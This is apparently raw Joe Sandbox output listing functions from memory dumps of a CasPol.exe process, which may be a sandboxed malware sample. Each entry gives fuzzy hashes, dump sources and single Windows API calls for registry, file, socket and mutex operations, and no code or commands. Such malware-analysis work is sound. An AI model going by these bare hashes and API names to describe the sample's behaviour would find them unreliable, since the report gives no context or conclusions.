Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: p=Al
API String ID: 0-3417201268
Opcode ID: 9eb316534cf864e4062d885ed5585f7d390202cb10ebc7aaacb63eb347b702a6
Instruction ID: d04229efb761fa190bf8c0f815e9082a0e2edb4fd5ad452f87c0bfa314a8d0f1
Opcode Fuzzy Hash: 9eb316534cf864e4062d885ed5585f7d390202cb10ebc7aaacb63eb347b702a6
Instruction Fuzzy Hash: C4518F74E01208DFDB58DFB9D884A9DBBF2BF89304F24812AE809AB754DB349945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F2212B Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b4fdfbee6a7f59ce9f1b0b79e5a7ae1a37474c577a643ed45867edd44ad3b39
Instruction ID: 5b3367c3431cba6c31601e82901f07f1383745bceaa4923c8df866974a39d953
Opcode Fuzzy Hash: 6b4fdfbee6a7f59ce9f1b0b79e5a7ae1a37474c577a643ed45867edd44ad3b39
Instruction Fuzzy Hash: 93D17074E01218CFDB14DFA9C894B9DBBB2FF89304F1080AAD819A7354DB359986CF55

Uniqueness

Uniqueness Score: -1.00%

Function 36F2DC70 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba4b3ce7ad6e381af00fee86bf21f45642f111cac83a6c767dd48966432ef8b
Instruction ID: b45c252f38017fad1329ef2095d4ba72bac05576bee3edcd4d73ca34e1dd2bd5
Opcode Fuzzy Hash: bba4b3ce7ad6e381af00fee86bf21f45642f111cac83a6c767dd48966432ef8b
Instruction Fuzzy Hash: 7EC1A274E01218CFDB54DFA9C884BDDBBB2BF89304F1084AAD409AB394DB359986CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F2F200 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b8137d8980ea003b43d8c91bfe6c8b226da24ceddedf510d774899ab09146fd
Instruction ID: efb187ed4bf0bc82bb4cda832ab7be3ba76aa0981a987ee537d20b845c3acb56
Opcode Fuzzy Hash: 7b8137d8980ea003b43d8c91bfe6c8b226da24ceddedf510d774899ab09146fd
Instruction Fuzzy Hash: 82C19174E01218CFDB14DFA9C894BDDBBB2BF89304F1084AAD419AB394DB355986CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BE60 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be435c1a6047df22b4e0f664c33f62a1020c074621a9fbb2d710dc9835576fd
Instruction ID: a49c4f099d80b5ba54ced290ebad71d7794e3172193bab22c7bad77f394e06c8
Opcode Fuzzy Hash: 3be435c1a6047df22b4e0f664c33f62a1020c074621a9fbb2d710dc9835576fd
Instruction Fuzzy Hash: 98C19174E00218CFDB14DFA9C894BDDBBB2BF89304F1480AAD859AB394DB355985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F228A0 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ccea82dbe69bd11a4e293bff7424a0ca151cadd0f3838785febe4316e9bde9
Instruction ID: c28f0a5d7d52f5424544af19c38cabcb9dc49eb21242b923ba0d735112cf8c20
Opcode Fuzzy Hash: e2ccea82dbe69bd11a4e293bff7424a0ca151cadd0f3838785febe4316e9bde9
Instruction Fuzzy Hash: 11811578D04218CFEB10DFA9C984BDCBBF1BF09318F208569D518AB2A1DB759985CF15

Uniqueness

Uniqueness Score: -1.00%

Function 36F29ECB Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c6e2aecb4bc4909c9b9649a4c4c45dad348de49594460f9c0cfec262b32259
Instruction ID: 61beaf539201a48858bf68ebbacedf04ea01e86ed4d14a9e79e278047d4f7900
Opcode Fuzzy Hash: 61c6e2aecb4bc4909c9b9649a4c4c45dad348de49594460f9c0cfec262b32259
Instruction Fuzzy Hash: 1C71D275E01208DFDB04DFE9D881ADEBBF2EF89324F248529E518AB794DB3498058F51

Uniqueness

Uniqueness Score: -1.00%

Function 36F296A0 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16fc792a948fa526b425981ccfdb165cb57dd9b6e73e940319b302c6410728df
Instruction ID: 5caf76695d7f8572be871ca2584f9ed82cfb269a0b135105d3a70b8e86030b51
Opcode Fuzzy Hash: 16fc792a948fa526b425981ccfdb165cb57dd9b6e73e940319b302c6410728df
Instruction Fuzzy Hash: F081BC74E04258CFEB18DFAAC894BDDBBB2BF89304F24846AD409AB354DB345945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D25C78 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5899f2f379165bc3d5f85753f384b55088657d5575bab2f5cabb524dafb2e61
Instruction ID: d14165c662434f7743b177d1a292fbb2d88d858bdc120c17a92ae5f14b8d50be
Opcode Fuzzy Hash: e5899f2f379165bc3d5f85753f384b55088657d5575bab2f5cabb524dafb2e61
Instruction Fuzzy Hash: 28819474E00618CFEB58CFAAD844B9DBBF2AF89304F14C0AAD809AB355DB305985CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00D25C68 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8197e1ce9dff7a60a7f7eef80e5813b8cee61922748843ade133a7252ddbfaff
Instruction ID: ccff2091c4cf80d6ba9649313771a429d2e35b6814924ce11dc2b3739a1656a6
Opcode Fuzzy Hash: 8197e1ce9dff7a60a7f7eef80e5813b8cee61922748843ade133a7252ddbfaff
Instruction Fuzzy Hash: 8E719574E01618CFDB58CFAAC944B9DBBF2AF89304F14C0AAD809AB355DB345946CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BE55 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e701a1c14e670c36fd9278e617a342d25320bb4f282fb2f333dc32a476d1ff6f
Instruction ID: 9c2784eb0d1a514a05917039ad8bf3b8c0d5e7cd95c591f3fd5d52e05488d5d5
Opcode Fuzzy Hash: e701a1c14e670c36fd9278e617a342d25320bb4f282fb2f333dc32a476d1ff6f
Instruction Fuzzy Hash: 6541E4B1D012188FDB18CFAAD8546DEBBF2AF99318F24C12AC414BB255DB744845CF64

Uniqueness

Uniqueness Score: -1.00%

Function 36F29690 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5d25eafdf2c12b70ff24c84b33198e47579f3ec073662b0d5332417bb5e070
Instruction ID: c86fbbf0e30fd061f27e68bf5ed2eafe8be5cae1a3250ef4daec99ce2fbafbde
Opcode Fuzzy Hash: 0d5d25eafdf2c12b70ff24c84b33198e47579f3ec073662b0d5332417bb5e070
Instruction Fuzzy Hash: 7841D4B5D012189FEB08DFA6C9847DEFBF6AF89304F24C42AD408AB254D774194ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F2BB90 Relevance: 5.1, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T2]7, xrefs: 36F2BCD5
T2]7, xrefs: 36F2BCA5
03]7, xrefs: 36F2BBCD
T2]7, xrefs: 36F2BC2A

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: 03]7$T2]7$T2]7$T2]7
API String ID: 0-3484410687
Opcode ID: aeb84514b04a2267e8a782493f8aed4adec056e5e7f6a3590c5be0e000ca7632
Instruction ID: 4a798d48e28d2d920875ac355fce2c495bf64b5f25afea7ac7239e7e9b3084f0
Opcode Fuzzy Hash: aeb84514b04a2267e8a782493f8aed4adec056e5e7f6a3590c5be0e000ca7632
Instruction Fuzzy Hash: 8D310374D01358DFDB18DFA9C8549DEBBB2AF8A308F108829D806AB754DB34694ACF41

Uniqueness

Uniqueness Score: -1.00%

Function 36F2C191 Relevance: 3.9, Strings: 3, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@;]7, xrefs: 36F2C3AB
@;]7, xrefs: 36F2C374
@;]7, xrefs: 36F2C257

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: @;]7$@;]7$@;]7
API String ID: 0-4161459389
Opcode ID: 911e775d2d02a1e45f26c9de29b79bf6e56b8d43b6f6285d8ce90f4709faa389
Instruction ID: db3e6de6c96378069b9bef0d6e940ff6254e9d5ffbc09792b0f1ad844781df40
Opcode Fuzzy Hash: 911e775d2d02a1e45f26c9de29b79bf6e56b8d43b6f6285d8ce90f4709faa389
Instruction Fuzzy Hash: 4A61E274E01218DFEB14DFA4C894ADEBBB2FF89308F20842AD845AB751DB35594ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F20238 Relevance: 1.6, Strings: 1, Instructions: 380
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L.Cl, xrefs: 36F203BE

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: L.Cl
API String ID: 0-1560634054
Opcode ID: e6c4b4ae82782bb30f0035cd54912e9d0dc429aa625a897cd5b209b5837bdff9
Instruction ID: 28dde895037fc5f822472f69586405c9099f46cfa03a4f6e4c61a854a098a8fd
Opcode Fuzzy Hash: e6c4b4ae82782bb30f0035cd54912e9d0dc429aa625a897cd5b209b5837bdff9
Instruction Fuzzy Hash: D5120530A20269CFCB14DF68D894A9DBBB2FF49204F1191A9D04AB7754DF346D86CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 36F20248 Relevance: 1.6, Strings: 1, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L.Cl, xrefs: 36F203BE

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: L.Cl
API String ID: 0-1560634054
Opcode ID: 8f03ec34837189942f3b2db2ea10e98070915127ef2a772c0889ae692fc03f9d
Instruction ID: a211a0c9e7d146507bf4db22fa4fbce2d54eb8cfefa40f5c5297e70afb39b283
Opcode Fuzzy Hash: 8f03ec34837189942f3b2db2ea10e98070915127ef2a772c0889ae692fc03f9d
Instruction Fuzzy Hash: AC120430A20269CFCB14DF68D894A9DBBB2FF49204F1191A9D14AB7754DF346D86CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 370F0B1E Relevance: 1.6, APIs: 1, Instructions: 100
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 370F0BD5

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 45293bf3636da185cd5615bcdba60d4a17f913436d49792422f5dbdab0c9f5a2
Instruction ID: 43a6888a6ff5b8774c2c23adbf7a280910b58d36c17feca4a2328be97d42f1a3
Opcode Fuzzy Hash: 45293bf3636da185cd5615bcdba60d4a17f913436d49792422f5dbdab0c9f5a2
Instruction Fuzzy Hash: 5C31D2B2404344AFE7228F60DC90FA7BBBCEF45320F08889AE984DB152D765A509C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B36B Relevance: 1.6, APIs: 1, Instructions: 98
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 34B6B421

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 878cdf200ae66ca2839542228fbca8f126690e53e8116b9d706f68fc872d7a80
Instruction ID: b9b15c47d22954c4a21d5b73c7369f3754174aad0fccfa66822656d0cf97b42e
Opcode Fuzzy Hash: 878cdf200ae66ca2839542228fbca8f126690e53e8116b9d706f68fc872d7a80
Instruction Fuzzy Hash: 8931A2B5505380AFE712CF25DC45F62BFF8EF06314F08849EE9858B662D365A509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 34B6ADB4 Relevance: 1.6, APIs: 1, Instructions: 95
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 34B6AE66

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: bcd98ca69ef8b4f9aea41bf4f9ca9355263f4dd16f16ef2701b1c94930fcf403
Instruction ID: f3d3870e5b63af499c4ae866d0c84b97bb5e4809090821c5f27c01bcd6277d46
Opcode Fuzzy Hash: bcd98ca69ef8b4f9aea41bf4f9ca9355263f4dd16f16ef2701b1c94930fcf403
Instruction Fuzzy Hash: E431B2715093C0AFE7138B60CC44B52BFB4EF07224F0984DBE9858B5A3D369A508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 370F1443 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,00000EA8), ref: 370F1513

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: fdbad897e547ebdfed07fde9d73954e596379b7915eee4c1df2c745305fc0e26
Instruction ID: 92ece32fa25195cedfd09c6e58fcb676186e7fb04ce1da60b35d1f670ebe99f9
Opcode Fuzzy Hash: fdbad897e547ebdfed07fde9d73954e596379b7915eee4c1df2c745305fc0e26
Instruction Fuzzy Hash: A831C1B2500340AFE721CB50CC84FA6BBBCEF05324F08489AF9859B192D775A549CB71

Uniqueness

Uniqueness Score: -1.00%

Function 370F079B Relevance: 1.6, APIs: 1, Instructions: 93
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FormatMessageW.KERNEL32(?,00000EA8,?,?), ref: 370F085E

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 2a80e7259ad3b8b4a87739401678a57db0c266a2832818c9abac4cbc9998d8bb
Instruction ID: 4bb91ae41ada87c03d10279348b8b662ed01d08d2bfefeac20e5aab8807f18a8
Opcode Fuzzy Hash: 2a80e7259ad3b8b4a87739401678a57db0c266a2832818c9abac4cbc9998d8bb
Instruction Fuzzy Hash: FF318E7290D3C45FD7038B258C61AA2BFB4EF47614F0E84CBD8848F2A3D6246919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 370F0D1E Relevance: 1.6, APIs: 1, Instructions: 92
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 370F0DCA

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a07426dc671b823fe78174e4565d6f94814643b0da4a38bec8e95557e7f6b337
Instruction ID: 0b3c9925c3d4ff35c2b320b838e125a295da1f9a0c4355c462be3b86ede69ba9
Opcode Fuzzy Hash: a07426dc671b823fe78174e4565d6f94814643b0da4a38bec8e95557e7f6b337
Instruction Fuzzy Hash: 2331C2B64093846FE7128B60DC55FA7BFB8EF06324F08849AE984CB253D335A509C771

Uniqueness

Uniqueness Score: -1.00%

Function 370F069D Relevance: 1.6, APIs: 1, Instructions: 92
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAIoctl.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0751

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: e9551fd4068751ff2cdbd51df99cf257417d612241e349f62dbba1ea8562398d
Instruction ID: f9f65be800ac36235d558ecd91001c5e9a0d34a7fc94c26d67187d978b45a425
Opcode Fuzzy Hash: e9551fd4068751ff2cdbd51df99cf257417d612241e349f62dbba1ea8562398d
Instruction Fuzzy Hash: C5318F75509784AFE712CF21DD84FA2BFF8EF06314F0884DAE9848B162D335A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AA11 Relevance: 1.6, APIs: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 34B6AAC1

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 979f747c71c160f55a7be842050170f34a3618aa56a23708183d075b1bf09cd4
Instruction ID: faca60a9156163bd6a2066349fa8f673e85121e61a7cdf64389e549d0c4adea6
Opcode Fuzzy Hash: 979f747c71c160f55a7be842050170f34a3618aa56a23708183d075b1bf09cd4
Instruction Fuzzy Hash: 7A319172504380AFE7128F21DC85F97BBBCEF0A224F08859AE9459B252D324A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AB09 Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6ABC4

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 35d73dff9d01d67fae1be445d91b0caf63467382309c012bcaa663f53ba54576
Instruction ID: 5c1a2f6d708ba0183ddb9636bb0b049579deab1d60c5a57993f908a1a7432e2e
Opcode Fuzzy Hash: 35d73dff9d01d67fae1be445d91b0caf63467382309c012bcaa663f53ba54576
Instruction Fuzzy Hash: EA31B575205380AFE711CB21CC84F92BFBCEF06324F08849AE945CB152D364E549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 370F17AE Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F1846

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 246869334a4334f6294525b4e245843ac12f71c16e946ed879a09de407efdca4
Instruction ID: de6dad9d7db4bd304cc43801ff21cca33601fe2e18fc56c210d6549da490b50c
Opcode Fuzzy Hash: 246869334a4334f6294525b4e245843ac12f71c16e946ed879a09de407efdca4
Instruction Fuzzy Hash: 0021A2725093806FE712CB61DC95BA6BFB8EF06320F0884DAE985CF152D225A949C772

Uniqueness

Uniqueness Score: -1.00%

Function 370F146E Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EA8), ref: 370F1513

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 3ebf4756de86d58c0eaeb104d3b1669a0eb29860ad7308846739ed1e8c15bc05
Instruction ID: 8d4a15ac133a4be102fe766e7503331d358d5c0b484820781e265aa1a58bb3b5
Opcode Fuzzy Hash: 3ebf4756de86d58c0eaeb104d3b1669a0eb29860ad7308846739ed1e8c15bc05
Instruction Fuzzy Hash: 9521E572500300BEFB20DB54CC85FA6F7ACEF04724F04845AFA459A281D775A549CB71

Uniqueness

Uniqueness Score: -1.00%

Function 370F0C2A Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0CD4

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 774143cf436aa607258b039c092199b912693e41e70099040dafe776371c8621
Instruction ID: bd2d1a79c0cf029b72d76860e70dfc0104e4a6eccbd8e4649c0b774cfe288cc0
Opcode Fuzzy Hash: 774143cf436aa607258b039c092199b912693e41e70099040dafe776371c8621
Instruction Fuzzy Hash: 3E31E372404384AFE712CF50DC94F96FFB8EF46314F08889AE9849B153D365A549C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 370F0A30 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA8), ref: 370F0AC9

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: c4a7c4246c04f471ca9e808bd905cf7a0eeb7568ba7f6111e8ffaf59f3242c19
Instruction ID: f3f220f1e37c3e4e3f42da97d878509b1cc6a3b117c6db4a462bcfc6f8af769a
Opcode Fuzzy Hash: c4a7c4246c04f471ca9e808bd905cf7a0eeb7568ba7f6111e8ffaf59f3242c19
Instruction Fuzzy Hash: 8221E1754093846FE7128B20DC95FA6BFB8EF06224F0984DBE9448B153D265A509C771

Uniqueness

Uniqueness Score: -1.00%

Function 370F0012 Relevance: 1.6, APIs: 1, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 370F00A5

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 69e8506da5b34509a7e0438e2fe9886ca6dcead9cbcd1e7bd7d4af69e9e75370
Instruction ID: c2248604bf67cb4176131b27a384e94a88b82e66f4af850e91b7c30637a76ee5
Opcode Fuzzy Hash: 69e8506da5b34509a7e0438e2fe9886ca6dcead9cbcd1e7bd7d4af69e9e75370
Instruction Fuzzy Hash: B221D0B1508384AFE711CF24CD84F96FBF8EF05224F0884AAE944CB652D765E908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 370F18A5 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F1936

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 286884fed9570826a888ce46ffbfb9f0e2702c9270d922641d51d0fdb1a7dcd3
Instruction ID: 25e024111e8d506b59cc5dc1544ef282fa418e207f0b470784f3a37de777cd49
Opcode Fuzzy Hash: 286884fed9570826a888ce46ffbfb9f0e2702c9270d922641d51d0fdb1a7dcd3
Instruction Fuzzy Hash: 1C21D671509340AFE711CB11DC54F96FFB8DF06220F08849AE945CB152D365E949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 34B6ACE0 Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

RasEnumConnectionsW.RASAPI32(?,00000EA8,?,?), ref: 34B6AD8A

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: ConnectionsEnum
String ID:
API String ID: 3832085198-0
Opcode ID: b575a9a65ad4e2d02eb3eb0acbfaaadf057c76572965b2015a4909edb0290eb1
Instruction ID: 0ba9275e545be5ffeb96d03e3562001ea521e6195818e40491829da16639d5c1
Opcode Fuzzy Hash: b575a9a65ad4e2d02eb3eb0acbfaaadf057c76572965b2015a4909edb0290eb1
Instruction Fuzzy Hash: 3221807150D3C06FC3138B258C65A62BFB4EF47614F0A81DFD884CB5A3D229A819C7B2

Uniqueness

